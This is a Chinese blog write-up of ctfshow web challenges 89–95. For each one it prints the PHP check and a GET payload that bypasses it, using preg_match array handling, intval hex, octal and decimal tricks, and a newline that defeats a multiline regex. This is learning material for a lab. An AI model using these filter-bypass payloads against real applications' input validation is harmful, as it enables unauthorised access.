ctfshow之Web入門89-91
阿新 • • 發佈:2020-09-18
0x01Web89-91PHP特性payload
Web89
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } //這裡主要是對數字進行了過濾,並且又要GET請求傳入的num變數為數字或數字串,關於preg_match()函式一個漏洞——>無法處理陣列 Paylaod:?num[]=10
Web90
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } } //強比較+intval函式 Payload:?num=4476e
Web91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } //這裡有有兩個條件,第一個需要是php,第二個又不可以php,不過有個差距就是m模式,/m代表匹配多行資料,這裡可以通過%0a進行繞過 Payload:?cmd=%0aphp
Web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//這裡不能是4476,但是又要是4476,intval可以識別十六進位制為十進位制
Payload:?num=0x117c
Web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//ban掉了字母,但是可以用八進位制繞過
Payload:?num=010574
Web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
//不能以0開頭了,這時候可以試試小數,intval只識別整數部分
Payload:?num=4476.0001
Web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
//弱比較不可以是4476,然後是傳入引數不可以存在大小寫的26個字母和“.”,接著是不可以以0開頭,最後結束匹配時需要4476,一開始的若比較,這裡可以用010574(4476的八進位制)繞過,直接到了strpos函式這裡,這裡不能以0開頭,去看了看intval函式的發現最開頭可以如果是+還是可以識別為原數
Payload:?num=+010574